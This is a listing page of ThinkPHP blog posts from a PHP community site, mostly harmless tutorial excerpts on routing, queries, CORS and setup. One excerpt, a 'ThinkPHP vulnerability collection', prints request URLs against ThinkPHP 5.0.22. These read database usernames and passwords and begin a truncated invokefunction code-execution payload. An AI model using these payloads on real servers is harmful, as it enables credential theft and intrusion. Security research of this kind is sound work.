插件应用
主题模板
讨论社区
问答
博客
学习文档
框架开发文档
模板开发文档
接口开发文档
教学视频文档
模板引擎文档
下载安装
在线演示
登录
/
注册
个人中心
我的订单
退出登录
博文列表
排序:
最新更新
热门
推荐
thinkphp漏洞集合
Thinkphp 5.0.22 http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_
2022-07-28 14:14:58
阅读数
222
评论数
0
thinkphp5框架新建页面相关规范详解
本应用基于ThinkPHP的MVC(模型-试图-控制器)的方式来组织。在新建页面时必须遵循该设计模式。 以下以移动端首页为例,新建页面步骤: 移动端首页文件路径: application->wap->view->first->index->index.html 模板渲染: application->wap->controller->Index.php->index() index.html结构: JavaScript模块: 页面JavaScript模块化遵循AMD规范,基于RequireJS实践。 新建
2022-07-28 14:14:58
阅读数
214
评论数
0
THINKPHP官方推荐第三方插件库
数据库 数据库迁移工具 topthink/think-migration —— https://github.com/top-think/think-migrationORM类库 topthink/think-orm —— https://github.com/top-think/think-ormOracle驱动 topthink/think-oracle—— https://github.com/top-think/think-oracleMongoDb扩展 topthink/think-mongo—
2022-07-28 14:14:58
阅读数
255
评论数
0
ThinkPHP漏洞分析与利用
一、组件介绍 1.1 基本信息 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。 1.2 版本介绍 ThinkPHP发展至今,核心版本主要有以下
2022-07-28 14:14:58
阅读数
219
评论数
0
ThinkPHP 区间查询
区间查询 ThinkPHP 支持对某个字段的区间查询。 例子1: public function read(){ $Dao = M('User'); $condition['uid'] = array(array('gt',1),array('lt',5)); $list = $Dao->where($condition)->select(); if($list){ $this->assign('list', $list); $this->display(); } else { $this->error(
2022-07-28 14:14:58
阅读数
186
评论数
0
thinkphp怎样连接数据库
首先打开Zend创建一个项目 ,导入我们的ThinkPHP。 浏览器地址栏输入http://1270.0.1/text01 运行ThinkPHP项目,可以看到Think的大笑脸。 创建数据库创建一个用户表,用于我们整个项目的数据库的连接,测试数据库是否连接。 打开项目刷新,查看生成的目录结构,Application->Common->Conf是项目的公共配置文件目录,可以看到Conf下有一个config.php 文件,“公共配置文件目录”可以看出这个目录是前后台通用的目录,如果前后台使用一个数据库直
2022-07-28 14:14:58
阅读数
225
评论数
0
thinkphp5引入调用外部类
1. 将外部类放到extends文件夹下 2.观察外部类文件的命名空间 3. 在需要引用该类文件的php代码中,引入该文件 注意,前面为命名空间,后面为类的名字 4. 绿线的地方写该类文件在extends文件夹中的路径,不带后缀; 黄线的地方不加”\" 5. 调用IPFS类中的一个函数 最后输出 注意:如果引用的类文件没有命名空间,则参考:https://blog.csdn.net/weixin_41764619/article/details/84927213
2022-07-28 14:14:58
阅读数
175
评论数
0
thinkphp5 解决跨域问题
垃圾小白(本人及开发伙伴)一起开发项目时,因异地恋~请求发生跨域 什么是跨域? 跨域,是指浏览器不能执行其他网站的脚本,这是由浏览器的同源策略(想要了解同源策略的伙伴,可以自行搜索一下)造成的。具体表现为:当浏览器从一个域名的网页去请求另一个域名的网页时,因域名、端口或协议的单个或多个不同,都属于跨域。 解决方法 网上有许多从各个角度来解决的方案,我不多赘述,只说明:本人的是使用thinkPHP5在服务器端解决的方法。 具体操作——添加行为,修改header 1、在应用目录下新建behavior/Cors
2022-07-28 14:14:58
阅读数
212
评论数
0
Composer搭建ThinkPHP环境
文章前言 在平时的渗透测试以及漏洞复现过程中我们少不了搭建环境,而ThinkPHP也随着版本的升迁由原来的一键式解压安装转变为了composer进行安装,本篇文章将介绍如何通过Composer快速搭建Thinkphp测试环境 软件安装 下载Composer Composer 笔者这里是Windows系统,读者可以自我根据环境来选择Compsoer: 之后进行安装: 选择PHP环境: 设置代理,可有可无: 进行安装: 之后在cmd下进行简易测试: 配置镜像: compos
2022-07-28 14:14:58
阅读数
207
评论数
0
ThinkPHP6.0开启多应用模式
开启多应用模式 (1)使用多应用模式,需要安装多应用模式扩展 think-multi-app 定位到WWW下的tp6ceshiban目录下,执行composer require topthink/think-multi-app (2)在app目录下新建index(前台)和admin(后台)模块,并将原始controllder文件夹复制两份分别放到index和admin中,修改各自模块中控制器名称和命名空间。 如验证后台是否成功,输入:http://www.tp6auth.net/index.php/ad
2022-07-28 14:14:58
阅读数
216
评论数
0
共 6126 条
上一页
1
2
...
582
583
584
585
586
587
588
...
612
613
下一页
发帖
加入PHP技术QQ群
一个专属于OneKeyAdmin的技术交流平台,记录OneKeyAdmin开发者的成长与进步。
主题帖
6221
回帖数
145
登陆 /
注册
文章
-
评论
-
粉丝
-
热门帖子
1 WordPress Rest API 入门详解
3199
2 Yandex企业邮箱注册
3176
3 Thinkphp5.0 获取新增数据的ID
2911
4 thinkphp5 解决跨域问题
2492
5 Thinkphp6 的 where 查询条件 and 和 or 的 操作
2203
6 PHP的exec()函数用法详解
2121
7 Vue3官网使用及简介
1975
8 thinkphp6配置连接微软的sqlserver数据库
1928
9 Thinkphp如何查看当前是哪个版本?查看thinkphp当前版本号的三种方法
1874
10 thinkphp5使用数据库表锁
1831